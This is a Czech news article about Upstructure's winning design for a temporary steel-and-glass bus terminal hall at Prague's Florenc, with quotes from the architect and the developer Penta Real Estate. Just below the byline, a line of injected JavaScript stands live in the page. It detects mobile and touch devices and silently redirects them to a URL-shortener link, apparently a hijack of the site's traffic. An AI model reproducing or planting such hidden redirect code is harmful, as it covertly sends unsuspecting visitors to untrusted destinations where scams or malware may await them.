8. května 2026 — architektura — Ondřej Krynek
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/WYBWyUeTd0r4");
Po odbavovací hale na Hlavním nádraží v Praze se má proměnit i odbavovací hala pro dálkové autobusové spoje v Praze na Florenci. V mezinárodní architektonické soutěži vyhrál návrh ateliéru Upstructure, který navrhl zubatou střechou přikrytý prosklený pavilon. Moderní či spíše nadčasové řešení najdeme také v interiéru, který má být otevřený, vzdušný a otevřený do krovu. Projekt řeší i napojení na celou plánovaně transformovanou lokalitu.
„Základním konceptem nové odbavovací haly autobusového nádraží je jednoduchá, modulární a přestavitelná ocelová struktura, do níž jsou vloženy samostatné moduly zázemí a retailu. Geometrie a provoz místa ve výsledku určily orientaci konstrukčního rastru i tvar střechy, který formuje charakteristickou siluetu objektu. Ta stavbě dává jasnou a čitelnou identitu. Typizovaná konstrukce zároveň umožňuje variabilitu dispozice, snadnou demontáž i budoucí opětovné využití jednotlivých prvků,“ řekl Pavel Paseka z ateliéru Upstructure.
„Nová odbavovací hala bude sloužit jako dočasné řešení po dobu transformace území, která může trvat dalších 15 až 20 let. Objekt nabídne zázemí pro cestující, provozní a administrativní prostory i doplňkové služby. Součástí návrhu je také řešení veřejného prostoru v okolí haly včetně využití oblouků Negrelliho viaduktu pro komunitní, kulturní či komerční aktivity,“ dodává developer Penta Real Estate.
Čtěte související článek na DesignMag.cz
Henning Larsen Architects přestaví odbavovací halu Hlavního nádraží v Praze a promění přilehlý park
Čtěte další články na téma nádraží a Praha
Foto a zdroj: Penta Real Estate
